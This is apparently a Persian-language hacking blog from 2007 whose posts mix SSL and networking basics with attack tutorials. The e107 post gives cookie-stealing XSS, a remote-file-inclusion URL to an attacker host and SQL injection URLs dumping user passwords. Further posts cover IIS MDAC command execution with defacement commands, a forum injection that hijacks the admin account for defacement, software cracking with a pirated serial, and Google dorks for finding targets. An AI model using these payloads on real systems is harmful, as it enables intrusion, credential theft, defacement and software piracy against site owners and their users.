تبليغاتX
کردستانیان
کرد و کردستان
 همه چيز در مورد SSL
خوب اول از Protocol SsL شروع ميكنيم

protocol TCP/IP هستش كه براي فرستادن و جستوجوي داده ها داخل شبكه انجام ميشود كه يك سري protocol هست كه روي لايه بالايي TCP/Ip هست كه به نام هاي HTTP / IMAP / LDAP

SSl ب يك سرور كه قابلييت SSL دارد دسترسي ميدهد كه اطلاعات خود را به يك سرويس SSL اثبات كند و بر عكس اين كار هم وجود دارد و همين طور اجازه ميدهد دو طرف يك ارتباط امن رمزنگاريكند اطلاعات را ب صورت كد شده با هم رد و بدل كنند

تشخيص هويت SSL / اين قابليت سرويس گير ssl اين دسترسي را ميدهد كه كه از راست بودن سرور اطمينان حاصل كند و همين طور سرويس گير ssl ميتونه از تكنيك استاندارد رمزنگاري عمومي از صحت گواهي و كليد عمومي آن سرور مطمين شود و ميتونه بررس كنه كه مركز ايجاد گواهي سرور در ليست مركز صدور گواهي قابل اعتماد خودش قرار دارد يا چنين چيزي وجود ندارد


و اين رو هم بگم كه prtocol ssl از دو protocpl كوچك تشكيل شده به نام هاي SSL Record Protocol & SSL Handshake Protocol كه در مبحث بدي در مورد هر كدام توضيحي ميدم و به جزييات ديگه SSL
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 هك كردن سيستم مديريت محتواي E-107
باگ هاي xss يا cross :
نقل قول:
http://www.example.com/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22); //--%3E%3C/script%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E


كد:
http://www.example.com/e107_0615/usersettings.php?avmsg=[xss code here


لو رفتن فايلها :
نقل قول:

http://www.example.com/e107_0615/e107_handlers/secure_img_render.php?p=http://<attacker's host>/<attacker's script>.php


sql injection ها و بايپس شدن ديتابيس :


كد:
http://www.example.com/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

http://www.example.com/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 هک کردن iis قسمت 2
===MDAC-Local Command Execution===
شاید شما فکر کنید که این یک آسیب پذیری قدیمیه اما باید بگم که حدودا 30 درصد سرورهای IIS به این
مشکل دچارند . کامپیونت MDAC در IIS ایرادی داره که نفودگر با اون می تونه دستوراتی رو تو سرور اجرا کنه .
برای اینکه چک کنیم سایتی این آسیب پذیری رو داره اول با نت کت مثل زیر به وب سرور هدف وصل می شیم
nc -nw -w 2 <sitehadaf> 80
بعد که وصل شد این رو می زنیم :
GET /msadc/msadc.dll HTTP
و اگه جوابی مثل زیر اومد
application/x_varg
90% سایت این باگ رو داره .
شما برای اینکه سایت رو هک کنید باید Exploiitesh رو به نام msdac.pl و msdac2.pl از سایت www.wiretrip.net/rfp(شاید این سایت نیاد) دریافت کنید . ( شما برای اجرا این اکسپلوییت نیاز به برنامه ی اکتیو پرل دارید)
این اکسپلوییت اول سایت رو از نظر داشتن این باگ چک می کنه بعد هم می نویسه :
Please type the NT commandline you want to run (cmd /c assumed):\n
که یعنی هر دستوری خواستین بزنین بزنین !
حالا مثلا اگه می بخوایم صفحه اول سایت رو تغییر بدیم می نویسیم
cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
که البته این مسیر بستگی به محل نصب ویندوز داره و اگه ویندوز تو درایو C:\ نصب شده باشه اینجوری می شه :
cmd/c echo hacked by me > C:\inetpub\wwwroot\victimweb\index.htm
البته شما کارهای دیگه هم می تونید با این شل بکنید . که خودتون هم شوفرید هم راننده .

==Codebrws.asp & Showcode.asp ==
Codebrws.asp و Showcode.asp نمایش دهنده فایل در IIS هستند . که به طور خودکار نصب نشده اند.
این فایلها برای دیدن کدهای تمرینات موجود در مثال های آموزشی (Sample - ترجمه رو حال کردین ) در IIS بکار می رود . و یه هکر با هوش با استفاده از این فایلها می تونه سرور رو هک کنه.
البته این آسیب پذیری ایرادهایی هم داره مثلا :
1-Codebrws.asp & Showcode.asp به صورت پیش فرض نصب نیستند .
1-این آسیب پذیری فقط می تونه فایلها رو نمایش بده ( که البته ما هم همین رو می خوایم ) .
2- نمی تونه از WindowsNT Access Control Lists بگذره ( من نمی دونم این معنیش چیه یعنی اکسس کنترل لیست چی هست هر کی دی دونه توضیح بده . لطفا!)
3-فقط فایلهایی رو که در همون پارتیشن ( پارتیشن نصب IIS ) هست رو می تونه نشون بده .

حالا فرض می کنیم می خواین با این آسیب پذیری سورس فایل Admin.asp سایت www.victim.com رو ببینیم . اول براوزر خودتون را باز می کنیم بعد آدرس زیر رو می نویسید :
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=admin.asp
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 هك فروم
اين آموزش بر روي فرم هاي ورژن 2 و پايين تر عمل خواهد كرد در اولين قدم بايد بر روي فرم Sign Up كرده و يوزر و پسورد به همراه يك ايميل واقعي دريافت كنيد . در ادامه اميلي براي Confirm عضويت شما فرستاده ميشود .

در ادامه به Member list رفته و يا به لينك زير برويد :

http://URL/memberlist.php

در ادامه ميتوانيد بر روي هر كدام از ممبر ها كليك كرده و URL را بر روي آدرس بار خود مشاهده كنيد

در ادامه Tag زير را در آخر URL پيدا خواهيد كرد بدون هيچگونه quotes

"userid="

اين عدد را در آخر اضافه كنيد "‌ 1 " به عنوان مثال :

http://URL/member.php?action=getinfo&userid=1

در ادامه با انجام اين كار شما نام Administrator را پيدا خواهيد كزد ( يوزر ادمين سايت ) هر چيزي كه مشاهده ميكنيد يادداشت كنيد

حالا همه چيز آماده شده . بصورت زير عمل كنيد :

URL زير را كپي كنيد : و بصورت زير آنرا Edit كنيد :



http://url/member.php?action=login&username=User&password=Sasan&url=");".$users=$DB_site->query("update+user+set+email='123456'+WHERE+username='lamer'")."

Username : در اينجا يوزري كه شما در فرم با آن رجيستر كرده ايد وارد كنيد مثلا Dj_agoustinno

Password : در اينجا پسورد يوزر خودتون را وارد كنيد ( Sasan )

Email Adress : در اينحا آدرس ايميلي كه با آن رجيستر كرديد وارد نماييد ( EMail@yahoo.com )

Admin : نام ادمين سايت كه بدست اورديد ( Lamer )

خوب اگه تمام كارهايي كه گفتم را درست انجام داده باشيد صفحه refresh شده و اين كار ادامه پيدا ميكند بدون توقف . خوب در اين حالت به Main Page رفته و Login كنيد با همين يوزر و پسورد ي كه الان ازشون استفاده كرديد . در اينجا صفحه اي دريافت ميكنيد كه يوزر و پسورد شما اشتباه ميباشد بر روي لينكي كه در پايين قرار گرفته و پسورد جديد براي شما ارسال ميكند كليك كرده ! و آدرس ايميلي كه پسورد براي شما ارسال شده وارد كنيد حالا به ايميل خود رفته و پسورد خود را دريافت كنيد !! اما ..... اين ....... !!! اين پسورد شما نيست پسورد ادمين سايت ميباشد J

D e f a c e m e n t

حالا وقت Deface كردن يا هر كاري كه شما دوست داريد رسيده !!

http://URL/admin/index.php

در اينجا Login كنيد !‌ اما اگر موفق نشديد به Main Page رفته و ابتدا از آنجا وارد شويد و بعد از ورود به صفحه ي ادمين رفته و دوباره Login كنيد

براي Deface كردن به سمت چب نگاه كنيد "Templates" بر روي Edit كليك كرده و در قسمت راست Main Frame را ميبينيد بر روي آن Edit را بزنيد ممكنه كه بر روي Default باشد . اگر نبود اولي را انتخاب كنيد . در صفحه ي بعدي بر روي Submit كليك كنيد . به پايين آمده و Fourmhome را پيدا كرده و بر روي آن Edit را بزنيد در قسمت بعدي شما كد هاي HTML صفحه ي اول را مشاهده ميكنيد . بعد از گذاشتن كدهاي خودتون و قرار دادن آنها Submit را زده تا Index شما در صفحه ي اول به نمايش در بيايد
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 هاب سويچ روتر
هاب و سویچ و روتر وسایلی هستند که توانایی برقراری ارتباط میان چند کامپیوتر را فراهم می کند. هر یک از آنها دارای 2 یا تعدا دبیشتری کانکتور هست که به آنها پورت می گویند.

HUB:
ارزانترین و ساده ترین نوع از این سه می باشد که در واقع تنها و تنها وظیفه جابجایی داده ها را دارد. هاب هر چیزی را که وارد یک پورت میشود را به سوی دیگر پورت ها هدایت می کند.

SWITCH :
این وسیله هم همان کار انجامی توسط هاب را انجام می دهد اما با کارایی بالاتر . سویچ توانایی بالاتری را داراست چون می تواند درک درستی از ترافیک عیوری از خود را ارائه دهد ودیگر اینکه توانایی درک یک آدرس مشخص را داراست. برای مثال اگر ببیند ترافیک از روی ماشینی به پورت 2 وارد میشود می فهمد که ماشین فوق با پورت 2 در ارتباط هست و برای ارتباط آن ماشین تنها به نیاز به پورت 2 دارد و احتیاجی به دیگر پورت ها نیست.

ROUTER:
پیچیده ترین و باهوش ترین در میان این سه وسیله می باشد. روترها در در اشکال و ابعاد متفاوت و مختلفی دیده میشوند از نمونه های کوچک 4 پورته که هم اکنون هم رایج هستند تا نمونه های بزرگ و صنعتی که اینتر نت را هدایت می کنند. برای تصور ساده آن فرض کنید که یک کامپیوتر طوری برنامه ریزی شده که داده ها را در صورت احساس نیاز دستکاری نموده و این داده ها را به صورت کاملا صحیح به سوی در خواست کننده هدایت نمایید. بطور مثال broadband routers توانایی هم پوشانی کامپیوتر ها در نوع فایر وال را داراست و در همین مکنیزم در هنگام جابجایی داده ها به سوی مقصد می تواند آنها را دستکاری و ادیت کند.
همه روتر ها دارای دستورالعمل هایی هستند برای چگونگی تنظیم در شبکه و رفتار آنها با دیگر روتر ها که در روتر های عظیم به شکل یک زبان مخصوص در می آید.

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 نحوه رجيستر - كرك- پچ كردن نرم افزار
كرك كردن يا رجيستر كردن اين برنامه ها به چند دسته تقسيم مي شود:

دسته اول :
يك سري از برنامه ها هستند كه با شماره سريال رجيستر مي شوند در اين گونه موارد خيلي ساده
ابتدا برنامه رو باز كنيد بعد در قسمت نوار تولبار (همون جايي كه نوشته به ترتيب :فايل - ويو- آپشن و.....تا هلپ) بروي قسمت هلپ برويد بروي آن كليك كنيد و دنبال چيزي تو مايه هاي رجيستر يا رجيستريشن يا Produce Registration بگرديد.

نكته1: هميشه به دنبال HELP نباشيد گه گاه در بعضي ازبرنامه ها بايددرقسمت about نيز بايد دنبال چنين چيزهايي باشيد.*

- خوب‌‍،بعد يوزر نيم ورجيستريشن كد رو ورد كنيد و روي دكمه رجيستر كليك كنيد.

نكته2 : در بعضي از برنامه ها هم ممكنه نوشته شده باشه كه NAME و SERIAL رو وارد كنيد.*

- بعد بهتره در اكثر موارد برنامه رو ببنديد و دوباره اجراش كنيد.
توجه ، توجه:
احتمال دارد كه نام و شماره سريال در بعضي از مواقع داخل يه فايلي باشد كه بروي آيكن آن عكس يه مانيتور كشيده همانند برنامه:
JC_Spyware_and_Adware_Remover
كه داخل آن به اين به اين صورت نوشته شده بود:
Type : TEAM iPA
Serial : 2821C99099DE9E7BD5FF4E398D0D9DC0369A2A747DEB9CC5
در مورد نحوه باز كردن اين نوع فايل رو در قسمت 4 به طور كامل توضيح داده ام.
--------------------------------------------------------------------------------
دسته دوم:
يك سري از برنامه ها هستند كه مي بايست كرك شوند.در اين گونه موارد اگر برنامه رو اجرا كرده ايد ابتدا برنامه رو ببنديد، توجه كنيد كه در قسمت SYSTRAY ) سيس تري )

نكته 1 : SYSTRAY همون قسمتي است كه در نوار تولبار ويندوزتون (نوار پاييني) درسمت چپ همون كنار ساعت قرار دارد و آيكن برنامه هايي كه در حال اجرا هستن رو اونجا نشون ميده بهش سيني سيستم هم ميگن.*

- هم برنامه بسته شده باشد براي اين كار كافي است كه بروي آيكن مورد نظر دكمه سمت راست و سپس Exit رو بزنيد،چون در اكثر برنامه ها مثل برنامه هاي دانلودر يا ديكشنري بابي لان و يا Winamp بعد از بستن برنامه نيز آنها هنوز هم درSYSTRAY وجود دارند البته توجه نماييد كه اين برنامه ها فقط براي مثال نام بردم در مورد بقيه برنامه ها هم توجه مبذول فرماييد. خوب، حالا فايل زيپي كه را كه دريافت كرده ايد رو با يك برنامه مثل WinZip باز كنيد و فايل هاي باز شده رو به پوشه ايي كه برنامه رو در آن نصب كرده ايد،در ريشه اصلي پوشه منتقل نماييد

نكته 2 : منظور ازريشه اصلي اين است كه فرضا: شما برنامه مورد نظر رو در درايو C و در قسمت Program File نصب كرده ايد پس مسير آن به آين صورت شد:
c:\ program file\xxxx
كه xxxxx همون پوشه برنامه است وقتي كه بروي پوشه كليك كرديد و باز شد مشاهده مي كنيد تعدادي پوشه و چند فايل قرار دارد اين جا همون ريشه اصلي است كه گفتم.*

- وقتي كه فايل ها روPast كنيد يه منويي جولوتون باز ميشه كه يك Yes وNo داره بروي Yes كليك كنيد ديگه كار تمام است.
--------------------------------------------------------------------------------
دسته سوم:
يك سري از برنامه ها هستند كه مي بايست پچ (Patch) شوند. در اين گونه موارد هم مانند دسته دوم ابتدا برنامه رو از حالت اجرا خارج كنيد و ازSYSTRAY برداريد سپس فايل زيپ شده رو باز و محتواي آن را به پوشه برنامه مورد نظر انتقال داده ، اون فايل پچ رو باز كنيد و بروي دكمه Patch كليك نماييد كار تمومه و برنامه شما پچ شده.
نكته 1 : يك نمونه فايل هاي Patch هستند كه شبيه فايل هاي رجيستري هستند يعني با پسوند(.reg ) اگه فايل پچتون اين جوري بود فقط اونو به پوشه برنامه انتقال دهيد بعد فقط 2 بار بروي آن كليك كنيد.
------------------------------------------------------------------------------
دسته چهارم:دسته آخر فايل هاي Keygen هستند كه يه مقدار دقت بيشتر مي خواد.اين برنامه هاي Keygen يوزر نيم وشماره سريال يا همون رجيستريشن كد مي دن به اين صورت كه Keygen ها رو وقتي باز ميكنيد 2 قسمت دارن :

اول قسمت دومشون رو ميگم (Registration Code):
شما در اين قسمت نمي تونيد هيچ عملي انجام بدهيد اين قسمت ميشه گفت تقريبا يه جورايي خاموشه(البته در بعضي هاشون فرق مي كنه اين قسمتشون روشنه ولي اكثرشون اين جورين،اون تعداد خيلي اندك هستند) و زماني كه شما در قسمت بالا شون چيزي وارد مي كنيد در اين قسمت شماره رو مي نويسه.

اما قسمت اولش (or Hardware ID USERNAME or NAME ):

1.اگه از شما دراين شماره Hardware ID رو خواست به قسمت Help يا about برنامه برويد و اون شماره رو از اونجا كپي و در اين قسمت Past نماييد.در قسمت پايين مي بيند كه شماره سريال ظاهر ميشه مثل برنامه:استايل XP (Style XP)

2.اگه از شما User Name يا همون Name رو خواست در بعضي مواقع مي تونيد اسم خودتون رو وارد كنيد و شماره رو دريافت كنيد يا مي بايست از اسمي كه اون سايت كركر تعيين كرده استفاده كنيد حتما مي گيد اون اسم كجاست؟
خوب اسم يا در خوده منوي برنامه Keygen نوشته شده مثل Keygen برنامه ديكشنري ورژن قديمي بابي لان ورژن 3.1 يا برنامه هاي ديگر كه هم اكنون در خاطرم نيست.
درگاهي اوقات در فايل نوت پديي (Notepad) است كه شما آن را به همراه فايل Keygen از حالت زيپ خارج كرده ايده، گاهي وقتا توي اون فايليه كه روش عكس يه مانيتور ال سي دي با صفحه آبي رنگ كه روي اون يه دايره آبي رنگ كشيده و يك «i» سفيد رنگ هم توي دايره كشيده و پايه مانيتورهم سفيد رنگ است قرارداره.

نكته1 :اگه توجه كرده باشين در هر بار كه شما بروي اين آيكن مانيتور كليك مي كنيد منوي سيستم اينفورميشن براتون باز ميشه و شما نمي تونين محتواي اونو ببينيد براي باز كردن اين فايل كافي است ابتدا شما بروي آيكن دكمه سمت راست رو زده و از منوي مربوطه گزينه Open With رو انتخاب كنيد.

توجه: بچه هايي كه از ويندوزي به غير XP كار ميكنن مي تونن براي نمايان شدن گزينه Open With ابتدا كليد Shift رو نگه دارن بعد دكمه راست موس خود را كليك كنن.
- خوب حالا كه بروي اوپن ويد كليك كرديد يه منويي باز ميشه كه در بالاي منو زير قسمت رنگي اين عبارت نوشته شده:
[ انتخاب كنيد برنامه ايي را كه شما مي خواهيد استفاده كنيد براي باز كردن اين فايل ]
در قسمت Programs ليست برنامه هايي كه بروي سيستم شما نصب هستند نمايش داده ميشود از قبيل:Paint ،Wordpad و......
از ميان آن ها Notepad رو انتخاب كنيد و OK بزنيد فايل مذبور باز ميشود و شما مي توانيد شماره Hardware ID يا اسم مورد نظر رو از درون آن انتخاب كنيد.

در آخر يك تذكر ديگه ميدم كه هيچ وقت در زماني كه آنلاين هستين اقدام به رجيستر يا كرك كردن برنامه ها نكنيد.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 گوگل هكينگ
‎‏ تکنيک هاي گوگل هکينگ ‏‎

‎‏ جستجوي در ميان دومين ها به وسيله عملگر ‏Site:‎‏ ‏‎
از عملگر ‏Site‏ مي توان براي جستحو در ميان تمامي دامنه ها استفاده کرد به ‏عنوان مثال :‏
CODE

site:gov secret


با اين جستجو مي توان در تمامي دامنه هاي ‏‎.gov‏ به دنبال کلمه ‏‎‘secret’‎‏ ‏گشت. لازم به ذکر است که گوگل براي جستجو به وسيله اين عملگر از ‏انتها تا ابتدا آدرس را مورد بررسي قرار مي دهد به عنوان مثال جستجو هاي ‏زير براي گوگل قابل قبول هستند:‏
CODE

site:www.cia.gov
site:cia.gov
site:gov


ولي گوگل انتظار چنين استفاده اي را از اين عملگر ندارد :‏

CODE

site:www.cia
site:www
site:cia

گوگل به اين دليل اين نوع جستجو را قبول ندارد که عبارات ‏‎‘Cia’‎‏ و ‏‎‘www’‎‏ جزء عبارات صحيح آخر ‏آدرس اينترنتي نمي باشند يا به طور واضح تر آدرس هاي اينترنتي با عبارات ‏‎‘Cia’‎‏ و ‏‎‘www’‎‏ به پايان نمي ‏رسد.‏

به هر حال استفاده از عملگر ها به طوري که مورد پسند گوگل نباشد يکي از ابزارهاي مهم هکر ها به شمار ‏مي رود‏

‎اي تکنيک چگونه مورد استفاده قرار مي گيرد؟ ‏‎

‏1)‏ روزنامه نگاران ، جستجوگران و به طور کلي آدم هاي فضول! مي توانند از اين تکنيک براي پيدا ‏کردن نکات و نقاط ضعف يک گروه و يا باند متعلق به سازمان ها و ارگانها و يا متعلق به يک ‏سازمان غير دولتي استفاده کنند . البته توجه داشته باشيد که در نتايج ممکن است به سازمانهاي ‏جالب توجه اي مثل ‏U.S.Government (.gov or .us)‎‏ نيز برخورد کنيد!‏
‏2)‏ هکر ها نيز مي توانند از اين عملگر براي پيدا کردن هدف ها و قرباني ها استفاده کنند به عنوان ‏مثال يک هکر که نسبت به سايت هاي يک کشور تنفر و انزجار دارد ، مي تواند از اين عملگر ‏براي پيدا کردن سايت هاي مربوط به آن کشوراستفاده کند و آن سايتها را مورد حمله قرار دهد.‏


‎‏ يافتن ‏‎‘googleturds’‎‏ توسط عملگر ‏‎‘site’‎‏ ‏‎
Googleturds‏ همانطوري که از نام آنها پيداست ، تکه هاي کوچکي از نتايج به دست آمده ‏توسط روبات هاي گوگل – هنگام خزيدن در ميان سايتها - هستند، که استفاده اي ندارند. ‏‏(‏Google waste‏)‏
به عنوان مثال :‏
CODE

site:csc
site:microsoft

هيچکدام از جستجو هاي بالا طبق آنچه که گفته شد، از قوانين عملگر سايت استفاده نمي کنند و با ‏عبارتي صحيح نيستند . ولي استفاده از آنها نتايج جالبي را در پي دارد که در شکل 7 مشاهده مي کنيد:‏

user posted image
شکل 7‏
اشتباهات تايپي بيشتر نتايج حاصل از اين جستجو را در بر مي گيرد.‏


‎اي تکنيک چگونه مورد استفاده قرار مي گيرد؟ ‏‎
هکران هدف مورد نظر خود را براي يافتن صفحاتي که به دليل اشتباه تايپي ايجاد شده اند و ممکن است ‏حاوي مطالب ارزشمندي باشند ، مورد بازرسي قرار مي دهند. در اکثر اوقات اين صفحات به وسيله استفاده ‏معمولي از عملگر ‏site‏ يافت نمي شود!‏
به عنوان مثال: يک هکر علاقه مند است اطلاعاتي در مورد کمپاني ‏ABCD‏ در آدرس ‏www.ABCD.com‏ بدست بياورد . استفاده از عبارت ‏site:ABCD‏ ممکن است لينک هايي که ‏اشتباه تايپي دارند (‏http://www.abcd ‎‏ به جاي ‏‎ http://www.abcd.com‏/ ) و حاوي مطالب ‏جالبي نيز مي باشند ، را نمايش دهد.‏


Site mapping‏: کمي بيشتر در مورد عملگر ‏site‏ ‏‎
به ليست در آوردن يک سايت يا به اصطلاح "‏Mapping‏" به وسيله يک گوگل کار آساني است. به ‏عنوان مثال به وسيله ‏
CODE

site:www.microsoft.com microsoft

به وسيله اين عبارت مي توان کلمه مايکروسافت را در وب سايت ‏www.microsoft.com‏ جستجو ‏کرد.خوب به نظر شما چه تعداد از صفحات اين سايت داراي عبارت مايکروسافت هستند؟ مشخصاً همه ‏آنها!!‏
دقت داشته باشيد که جستجوي گوگل فقط شامل محتويات صفحات نمي شود بلکه تايتل و ‏URL‏ ‏صفحات هم مورد جستجو قرار مي گيرند. کلمه مايکروسافت هم در ‏URL‏ تمامي صفحات سايت موجود ‏مي باشد.‏
به اين ترتيب مهاجم به يک عبارت ساده تمامي صفحات سايت را مشاهده مي کند‏
البته در بعضي مواقع ممکن است که به جاي اسم سايت از آي پي معادل آن استفاده شود .‏
اخيراً گوگل اين اختيار را داده است که از اين عملگر به طور تنها و بدون کلمه توضيحي استفاده شود که ‏البته نبايد انتظار داشته باشد همانند روش قبل تمامي صفحات سايت را نمايش دهد .‏

‎اين تکنيک چگونه مورد استفاده قرار مي گيرد؟ ‏‎
همانطور که در بالا اشاره شد ، اين تکنيک روشي مناسب براي ليست کردن صفحات يک وب سايت مي ‏باشد به نحوي که يک بيننده بدون بازديد از صفحات يک سايت به ساختار و استارکچر وب سايت دست ‏پيدا مي کند.از موقعي که جستوجوي گوگل به وسيله سرور هاي آن انجام گرفت ، گوگل ادعا کرده که ‏تنها سايتي است که رکوردي اين چنيني را دارا مي باشد. ‏
ابزار ذخيره صفحات گوگل مي تواند امن باشد ولي در بعضي مواقع خطراتي به دنبال دارد. يک هکر حرفه ‏اي براي ديدن صفحات کش شده طوري مرورگر خود را تنظيم مي کند که محتويات لينک شده (مانند ‏عکس ها) را نمايش ندهد و براي يک هکر اين چيز پيش پا افتاده اي محسوب مي شود. ‏
در کل براي يک مهاجم گوگل ابزار مناسبي است تا قرباني خود را به طور کامل شناسايي کند.‏

يافتن ‏Directory listings‏ :‏
Directory listings‏ به جاي صفحات گرافيکي وب ، ليستي از دايرکتوري هاي ‏سايت تهيه ميکند که فرمت آن معمولاً به صورت زير مي باشد:‏
user posted image
شکل 8‏

Directory listings‏ معمولاً بر روي وب سرور ها موجود مي باشد تا کاربران بتوانند سايت را از طريق ‏اين نمودار درختي مشاهده و دانلود کنند. البته در خيلي از مواقع دايرکتوري ليستينگي وجود ندارد. يک ‏سرور که درست تنظيم نشده باشد در مواقعي که صفحه اصلي را پيدا نکند ممکن است به جاي صفحه اصلي ‏يک دايرکتوري لييستيگ توليد کند و در بعضي حالت ها وب سرور يک فضاي موقتي براي ايجاد ‏دايرکتوري ليستينگ اختيار مي کند .‏
به هر حال اين فرصت مناسبي براي يک مهاجم است تا در يک دايرکتوري ليستينگ به دنبال چيز جالب ‏توجهي بگردد.‏
پيدا کردن محل دايرکتوري ليستينگ به وسيله گوگل بسيار آسان و روان است!‏
در شکل 8 مشخص است که اکثر دايرکتوري ليستينگ ها با عبارت ‏‎“Index of”‎‏ در تايتل شروع مي ‏شوند. خوب اولين عبارتي که براي جستجو به فکرمان مي رسد عبارت ‏‎“intitle:index.of”‎‏ ‏است ولي اين عبارت ممکن است نتايج دلخواه ما را در پي نداشته باشد‏‎ ‎‏ به عنوان مثال:‏
CODE

Index of Native American Resources on the Internet
LibDex - Worldwide index of library catalogues‎
Iowa State Entomology Index of Internet Resources

که تمامب اين عبارات در سرتيتر صفحات واقع شده اند. حالا براي بدست آوردن نتيج دلخواه از عبارات زير استفاده ‏مي کنيم که معاني آنها در قسمتهاي قبل توضيح داده شده اسنت:‏
CODE

intitle:index.of "parent directory"‎
intitle:index.of name size

به وسيله اين عبارات به دنبال صفحاتي مي گرديم که در آن عبارت ‏‎“index.of”‎‏ در سرتيتر و عبارات ‏‎"parent directory"‎‏ يا ‏name size‏ در بدنه صفحه آمده باشند.‏

ادامه دارد...
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 گوگل هكينگ
‎اپراتورهاي (عملگرهاي) پيشرفته گوگل :‏‎
گوگل براي جستجوي بهتر استفاده از عملگرهاي مشخصي را نيز مجاز ‏کرده است . استفاده از عملگرها در مقابل کارائيي آنها بسيار ساده است . ‏فرم کلي استفاده از يک ‏عملگر به صورت زير مي باشد:‏
CODE

operator:search_term


توجه داشته باشيد که بين نام عملگر ، کولون و واژه موردنياز عملگر نبايد ‏فاصله اي داشته باشد در غير اين صورت کاربر با پيغام خطاي گوگل ‏مواجه مي شود.‏

بعضي از عملگرها خود به تنهايي مي توانند به عنوان عامل جستجو استفاده ‏شوند مانند: ‏‎ ‘cache:www.google.com’‎
در مقابل بعضي از عملگرها نياز به واژه توضيحي دارند مانند: ‏‏‎‘site:www.google.com help’.‎‏ که بدون واژه ‏‏help‏ نتيجه اي در بر ندارد.‏

در زير ليست عملگرها و توضيح مختصري در رابطه با آنها را مي بينيد:‏

CODE

نام.عملگر ‏.......................................توضيح...............................................‏‏.........نياز.به.واژه.توضيحي
‏.‏site:‎‏.................................جستجو.تنها.در.آدرس.وارد.شده.در.مقابل.‏عملگر.................................دارد.‏
‏..................................................................................................................‏‏................‏
filetype:‎‏.......................جستجو.در.ميان.اسنادي.با.پسوند.مشخص‏.شده.در.مقابل.عملگر.....................دارد
‏..................................................................................................................‏‏.........‏
link:‎‏................................جستجو.در.ميان.سايتهايي.که.به.آدرس..نوشته.شده.در.مقابل...............ندارد
‏.........................................عملگر.لينک.داده.اند.........................................‏‏..........‏
cache:‎‏...........................نمايش.دادن.تصوير.ذخيره.شده.توسط.گوگل.از.آدرس................................ندارد
‏..............................................نوشته.شده.در.مقابل.عملگر...........................‏‏....................‏
intitle:‎‏...........................جستجو.در.ميان.سايتهايي.که.کلمه.وارد.‏شده.در.مقابل..........................ندارد‏
‏.............................................عملگر.در.عنوان..توضيح.سايت.قرار.دارد......‏‏................‏
inurl:‎‏.............................جستجو.در.ميان.سايتهايي.که.کلمه.وارد.شده.در.مقابل.......................ندارد‏
‏............................................عملگر.در.آدرس(‏url‏).سايت.قرار.دارد......‏‏......................‏.......‏


خوب ببخشيد اينو هر كار كردم درست نشد!! wink.gif

‎‏ ‏site‏: يافتن صفحات در يک وب سايت مشخص‎
اين عملگر تعيين شده تا گوگل را به جستجو در ميان صفحات يک وب ‏سايت مشخص محدود کند. وقتي که از اين عملگر استفاده مي کنيد به ‏کلمه توضيحي اضافه نيز ‏نياز مي باشد. به عنوان مثال هنگام وارد کردن ‏
CODE

site:www.persianhacker.net Blaster

نتايج شامل صفحاتي از سايت پرشين هکرز هستند که در آن صفحات کلمه ‏‏Blaster‏ نوشته شده است.‏

‎‏ ‏filetype‏: جستجو در ميان فايلهايي با پسوند مشخص ‏‏‎
اين عملگر گوگل را محدود به جستجو در متن فايلهايي با پسوند مشخص ‏ميکند که البته به کلمه توضيحي اضافه نيز نياز دارد.‏
به عنوان مثال
CODE

filetype:txt Exploit

به گوگل مي گويد که در ميان فايلهايي با پسوند ‏txt‏ به دنبال عبارت ‏‏Exploit‏ بگردد و نتيجه حاصل را نمايش دهد. توجه داشته باشيد که ‏قبل از پسوند نبايد نقطه ‏گذاشته شود به عبارتي ‏filetype:.txt‏ ‏غلط مي باشد و صحيح آن ‏filetype:txt‏ است .‏
لازم بع ذکر است که گوگل تنها در ميان فايلهايي با پسوند هاي مشخص ‏قادر به جستجو مي باشد و تمامي پسوند ها را پشتيباني نمي کند. تقريباً ‏تمامي فايلهايي که به ‏صورت متن ساده ذخيره مي شوند در اين ليست مي ‏باشند. به عنوان مثال گوگل به راحتي مي تواند در ميان متن فايلهايي با ‏پسوندهاي ‏‎“.txt,” “.html”‎‏ و يا ‏‎“.php”‎‏ تا ‏زماني که ‏خروجي آنها در يک مرورگر وب به صورت متن باشد ، جستجو کند ‏
ليست کنوني گوگل براي انواع پسوندها در ‏FAQ‏ سايت واقع در ‏‏http://www.google.com/help/faq_filetypes.html‏ وجود دارد .‏

CODE

Adobe Portable Document Format ‎‎(pdf)‎
Adobe PostScript (ps)‎
Lotus 1-2-3 (wk1, wk2, wk3, wk4, ‎wk5, wki, wks, wku)‎
Lotus WordPro (lwp)‎
MacWrite (mw)‎
Microsoft Excel (xls)‎
Microsoft PowerPoint (ppt)‎
Microsoft Word (doc)‎
Microsoft Works (wks, wps, wdb)‎
Microsoft Write (wri)‎
Rich Text Format (rtf)‎
Text (ans, txt)‎



‏ ‏‎‎‏ ‏link:‎‏ جستجو در ميان پيوندها ‏‎
هايپر لينک ها يکي از اساسي و بنيادي ترين مسائل اينترنت مي باشند. يک ‏هايپر لينک ارتباطي قابل انتخاب از يک وب به وب سايتي ديگر مي باشد ‏که غالباً بامتن آبي ‏داراي خط زيرين نمايش داده مي شوند البته هايپر لينک ‏ها ميتوانند با عکسها و يا فيلمها هم نمايش داده شوند.‏
عملگر ‏link:‎‏ گوگل را محدود به يافتن صفحاتي که در آنها به آدرسي ‏مشخص لينک داده شده است ، مي کند.‏
به عنوان مثال :‏‎
CODE

link:www.Persianhacker.net

